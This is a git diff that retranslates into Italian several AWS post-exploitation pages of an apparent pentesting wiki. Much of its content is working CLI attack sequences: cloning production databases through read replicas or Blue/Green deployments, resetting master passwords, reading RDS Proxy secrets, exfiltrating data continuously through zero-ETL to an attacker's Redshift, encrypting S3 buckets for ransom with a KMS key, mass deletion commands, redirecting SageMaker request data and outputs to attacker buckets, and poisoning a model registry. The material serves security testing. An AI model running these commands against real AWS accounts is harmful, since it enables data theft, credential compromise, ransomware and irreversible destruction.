- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (se esposta pubblicamente)
|
||||
|
||||
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con attacker-controlled credentials; minore probabilità di rilevamento poiché la primary rimane intatta e la replication continua.
|
||||
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché l'istanza primaria resta intatta e la replicazione continua.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -341,12 +342,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Esempio di evidenza (MySQL):
|
||||
- Stato DB replica: `available`, replicazione in lettura: `replicating`
|
||||
- Connessione riuscita con nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
|
||||
- Stato DB replica: `available`, replicazione in sola lettura: `replicating`
|
||||
- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Sfrutta RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Quindi resetta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira i sistemi di monitoraggio focalizzati solo sulla sorgente.
|
||||
Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali master del green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più stealthy dello snapshot sharing e spesso bypassa il monitoraggio focalizzato solo sulla sorgente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,21 +394,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impatto: Accesso completo in sola lettura a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione dati furtiva e analisi offline.
|
||||
Impatto: Accesso in sola lettura ma completo ai dati di una clone quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione furtiva di dati e analisi offline.
|
||||
|
||||
### SQL fuori banda via RDS Data API abilitando l'HTTP endpoint + reimpostando la master password
|
||||
|
||||
Abuse Aurora per abilitare l'HTTP endpoint del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesta connettività di rete VPC). Funziona su motori Aurora che supportano Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni Aurora PostgreSQL/MySQL).
|
||||
### SQL out-of-band via RDS Data API abilitando HTTP endpoint + reimpostando la master password
|
||||
|
||||
Sfrutta Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore sotto il tuo controllo ed eseguire SQL via HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permessi (minimi):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impatto: Bypass della segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
|
||||
Impatto: Bypass della segmentazione di rete ed esfiltrazione dei dati tramite AWS APIs senza connettività VPC diretta al DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (esempio Aurora MySQL)</summary>
|
||||
<summary>Esempio CLI end-to-end (Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -460,21 +462,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Note:
|
||||
- Se rds-data rifiuta SQL con più istruzioni, eseguire chiamate separate execute-statement.
|
||||
- Per motori in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
|
||||
- Verificare che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrà False.
|
||||
- Se SQL multi-statement è rifiutato da rds-data, esegui chiamate execute-statement separate.
|
||||
- Per engine dove modify-db-cluster --enable-http-endpoint non ha effetto, usa rds enable-http-endpoint --resource-arn.
|
||||
- Assicurati che l'engine/version supporti effettivamente il Data API; altrimenti HttpEndpointEnabled rimarrà False.
|
||||
|
||||
|
||||
### Raccogliere credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Recupero delle credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi a `secretsmanager:GetSecretValue`, rendendo questo un pivot a bassa frizione verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.
|
||||
Abusa della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggi il secret per ottenere le credenziali del database. Molti ambienti concedono ampio `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati possono anche permettere `kms:Decrypt`.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
Permessi necessari (minimi):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
|
||||
- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella key
|
||||
- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella chiave
|
||||
|
||||
Impatto: divulgazione immediata di username/password DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali.
|
||||
Impatto: Divulgazione immediata dello username/password del DB configurato sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
@@ -489,7 +491,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Lab (minimale per riprodurre)
|
||||
Laboratorio (minimo per riprodurre)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -508,27 +510,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Pulizia (lab)
|
||||
Pulizia (laboratorio)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Esfiltrazione continua stealth via Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Sfrutta l'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati quasi in tempo reale senza credenziali DB, snapshot o esposizione di rete.
|
||||
Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una Redshift resource policy permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un ARN del cluster Aurora specifico, un attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (per interrogare)
|
||||
- `rds-data:ExecuteStatement` (opzionale; per popolare dati se necessario)
|
||||
- `rds-data:ExecuteStatement` (opzionale; per popolare i dati se necessario)
|
||||
|
||||
Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Crea namespace Redshift Serverless + workgroup</summary>
|
||||
<summary>1) Creare namespace Redshift Serverless + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -544,7 +546,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configurare la policy delle risorse di Redshift per consentire la sorgente Aurora</summary>
|
||||
<summary>2) Configurare la resource policy di Redshift per consentire la sorgente Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -575,7 +577,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Creare un cluster Aurora PostgreSQL (abilitare Data API e logical replication)</summary>
|
||||
<summary>3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -606,7 +608,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Crea l'integrazione zero‑ETL da RDS</summary>
|
||||
<summary>4) Creare l'integrazione zero‑ETL da RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -633,10 +635,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Evidenze osservate nel test:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha mostrato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
- SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e lo stato PendingDbConnectState prima della creazione del DB.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; eseguendo SELECT su ztl.customers sono state restituite 2 righe (Alice, Bob).
|
||||
|
||||
Impatto: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster.
|
||||
Impatto: Continuous near‑real‑time exfiltration di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza utilizzare credenziali del database, backup o accesso di rete al cluster sorgente.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,32 +10,32 @@ Per maggiori informazioni consulta:
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
### Informazioni sensibili
|
||||
|
||||
A volte potrai trovare informazioni sensibili leggibili nei buckets. Per esempio, terraform state secrets.
|
||||
Talvolta potrai trovare informazioni sensibili leggibili nei bucket. Per esempio, i segreti dello terraform state.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diverse piattaforme potrebbero usare S3 per immagazzinare asset sensibili.\
|
||||
Per esempio, **airflow** potrebbe memorizzare il **DAGs** **code** lì, oppure **web pages** potrebbero essere servite direttamente da S3. Un attacker con write permissions potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, oppure **takeover accounts** modificando file JS.
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Un attaccante con permessi di scrittura potrebbe **modificare il code** presente nel bucket per **pivot** verso altre piattaforme, o **takeover accounts** modificando file JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In questo scenario, l'**attacker crea una KMS (Key Management Service) key nel proprio account AWS** o in un altro account compromesso. Rende poi questa **key accessibile a chiunque nel mondo**, permettendo a qualsiasi AWS user, role o account di encryptare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decryptati.
|
||||
In questo scenario, l'**attaccante crea una KMS (Key Management Service) key nel proprio account AWS** o in un altro account compromesso. Rende poi questa **key accessibile a chiunque al mondo**, permettendo a qualsiasi user, role o account AWS di criptare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decriptati.
|
||||
|
||||
L'attacker identifica un target **S3 bucket e ottiene accesso a livello di write** su di esso con vari metodi. Questo può avvenire a causa di una cattiva configurazione del bucket che lo espone pubblicamente o ottenendo accesso all'environment AWS stesso. L'attacker tipicamente prende di mira bucket che contengono informazioni sensibili come PII, PHI, logs, backups e altro.
|
||||
L'attaccante identifica un bucket S3 target e ottiene accesso in scrittura su di esso usando vari metodi. Questo può avvenire a causa di una cattiva configurazione del bucket che lo espone pubblicamente o perché l'attaccante ha ottenuto accesso all'environment AWS stesso. Tipicamente l'attaccante prende di mira bucket che contengono informazioni sensibili come PII, PHI, logs, backup e altro.
|
||||
|
||||
Per determinare se il bucket può essere preso di mira per ransomware, l'attacker verifica la sua configurazione. Questo include controllare se **S3 Object Versioning** è enabled e se **multi-factor authentication delete (MFA delete)** è enabled. Se Object Versioning non è enabled, l'attacker può procedere. Se Object Versioning è enabled ma MFA delete è disabled, l'attacker può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono enabled, diventa più difficile per l'attacker fare ransomware su quel bucket specifico.
|
||||
Per determinare se il bucket è vulnerabile al ransomware, l'attaccante verifica la sua configurazione. Questo include controllare se **S3 Object Versioning** è abilitato e se **multi-factor authentication delete (MFA delete)** è abilitato. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante criptare con ransomware quel bucket specifico.
|
||||
|
||||
Usando l'AWS API, l'attacker **sostituisce ogni oggetto nel bucket con una copia encryptata usando la propria KMS key**. Questo cifra efficacemente i dati nel bucket, rendendoli inaccessibili senza la key.
|
||||
Usando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia cifrata usando la propria KMS key**. Questo cifra effettivamente i dati nel bucket, rendendoli inaccessibili senza la key.
|
||||
|
||||
Per aumentare la pressione, l'attacker programma la cancellazione della KMS key usata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i dati prima che la key venga cancellata e i dati vadano perduti in modo permanente.
|
||||
Per aumentare la pressione, l'attaccante programma la cancellazione della KMS key usata nell'attacco. Questo concede al target una finestra di 7 giorni per recuperare i dati prima che la key venga eliminata e i dati vadano persi in modo permanente.
|
||||
|
||||
Infine, l'attacker potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i file. Questo file viene caricato senza encrypt, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware.
|
||||
Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Un attacker con la permission s3:RestoreObject può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente accessibili. Questo abilita la recovery e l'exfiltration di dati storicamente archiviati (backups, snapshots, logs, certifications, old secrets) che normalmente sarebbero fuori portata. Se l'attacker combina questa permission con read permissions (es., s3:GetObject), può ottenere copie complete di dati sensibili.
|
||||
Un attaccante con il permesso `s3:RestoreObject` può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente accessibili. Questo permette il recupero e l'exfiltration di dati storicamente archiviati (backup, snapshot, logs, certificazioni, vecchi segreti) che normalmente sarebbero fuori portata. Se l'attaccante combina questo permesso con permessi di lettura (es. `s3:GetObject`), può ottenere copie complete di dati sensibili.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -47,7 +47,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Un attacker con il permesso s3:Delete* può eliminare oggetti, versioni e interi buckets, interrompere i backups e causare perdita di dati immediata e irreversibile, distruzione di prove e compromissione di artefatti di backup o di recovery.
|
||||
Un attaccante con il permesso s3:Delete* può cancellare oggetti, versioni e interi bucket, interrompere i backup e causare perdita di dati immediata e irreversibile, distruzione di prove e compromissione degli artefatti di backup o di recovery.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -64,6 +64,6 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Per maggiori informazioni** [**consulta la ricerca originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Per maggiori informazioni** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Esfiltrazione dei dati dell'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
|
||||
## Estrazione dei dati dall'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un S3 bucket controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo permessi di gestione dell'endpoint.
|
||||
Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un attacker‑controlled S3 bucket senza toccare il model o il container. Utilizza un zero/low‑downtime rolling update e richiede solo i permessi di gestione dell'endpoint.
|
||||
|
||||
### Requisiti
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Preparare la destinazione S3 dell'attacker per captures
|
||||
2) Preparare la destinazione S3 dell'attacker per le captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crea una nuova EndpointConfig che mantiene le stesse varianti ma abilita DataCapture nell'attacker bucket
|
||||
3) Crea un nuovo EndpointConfig che mantiene le stesse varianti ma abilita DataCapture verso attacker bucket
|
||||
|
||||
Nota: usa content types espliciti che soddisfino la validazione della CLI.
|
||||
Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Applica la nuova configurazione con un rolling update (downtime minimo/assente)
|
||||
4) Applica la nuova config con un rolling update (downtime minimo/nullo)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Genera almeno una chiamata di inferenza (opzionale se è presente traffico in tempo reale)
|
||||
5) Generare almeno una chiamata di inferenza (opzionale se è presente traffico live)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Verificare i capture nel bucket S3 dell'attaccante
|
||||
6) Verificare captures in attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impact
|
||||
- Esfiltrazione completa dei payload delle richieste e delle risposte di inferenza in tempo reale (e dei metadati) dall'endpoint mirato a un bucket S3 controllato dall'attaccante.
|
||||
- Nessuna modifica all'immagine del modello/container e solo cambiamenti a livello di endpoint, consentendo un percorso di furto dati furtivo con minima interruzione operativa.
|
||||
### Impatto
|
||||
- Full exfiltration of real‑time inference request and response payloads (and metadata) dall'endpoint di destinazione a un S3 bucket controllato dall'attaccante.
|
||||
- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, consentendo un percorso di data theft furtivo con minima interruzione operativa.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abusare della gestione dell'endpoint per reindirizzare gli output di inference asincrona a un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le predizioni del modello (e qualsiasi input trasformato incluso dal container) senza modificare il modello/container.
|
||||
Abusa della gestione degli endpoint per reindirizzare gli output di inferenza asincrona a un S3 bucket controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo exfiltrates le model predictions (e qualsiasi transformed inputs inclusi dal container) senza modificare il model/container.
|
||||
|
||||
### Requirements
|
||||
### Requisiti
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il ruolo di esecuzione del modello o una policy del bucket permissiva)
|
||||
- S3: Capacità di scrivere sul S3 bucket controllato dall'attaccante (tramite il model execution role o una bucket policy permissiva)
|
||||
- Target: un endpoint InService in cui le invocazioni asincrone sono (o saranno) utilizzate
|
||||
|
||||
### Steps
|
||||
1) Raccogliere gli attuali ProductionVariants dall'endpoint di destinazione
|
||||
### Passaggi
|
||||
1) Raccogliere i current ProductionVariants dall'endpoint target
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crea un attacker bucket (assicurati che il model execution role possa PutObject su di esso)
|
||||
2) Crea un bucket dell'attaccante (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Clona EndpointConfig e hijack AsyncInference outputs nell'attacker bucket
|
||||
3) Clona EndpointConfig e hijack gli output di AsyncInference al attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Trigger an async invocation e verifica che gli oggetti finiscano in attacker S3
|
||||
4) Eseguire un'invocazione asincrona e verificare che gli oggetti finiscano nello S3 dell'attaccante
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -116,28 +116,28 @@ sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impatto
|
||||
- Reindirizza i risultati di inference asincrona (e i corpi di errore) su S3 controllato dall'attaccante, permettendo l'esfiltrazione nascosta delle predizioni e, potenzialmente, degli input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice del modello o l'immagine e con downtime minimo/assente.
|
||||
### Impact
|
||||
- Reindirizza i risultati di inferenza asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, abilitando la covert exfiltration delle predizioni e, potenzialmente, degli input pre/post-processati sensibili prodotti dal container, senza cambiare il codice del modello o l'immagine e con downtime minimo/nullo.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine container controllata dall'attaccante e contrassegnarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni di modello Approved su endpoint o job di training, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una resource policy permissiva sul ModelPackageGroup.
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### Requirements
|
||||
- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
|
||||
- Target: A Model Package Group that downstream automation watches for Approved versions
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: accesso in lettura al ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante)
|
||||
- Target: un Model Package Group che l'automazione downstream monitora per versioni Approved
|
||||
|
||||
### Steps
|
||||
1) Set region and create/find a target Model Package Group
|
||||
1) Imposta la regione e crea/trova un Model Package Group target
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Preparare dati di modello fittizi in S3
|
||||
2) Preparare dati modello fittizi in S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrare una versione Approved model package malevola (qui innocua) che faccia riferimento a un'immagine pubblica AWS DLC
|
||||
3) Registrare una Approved model package version malevola (qui benigna) che fa riferimento a un'immagine AWS DLC pubblica
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
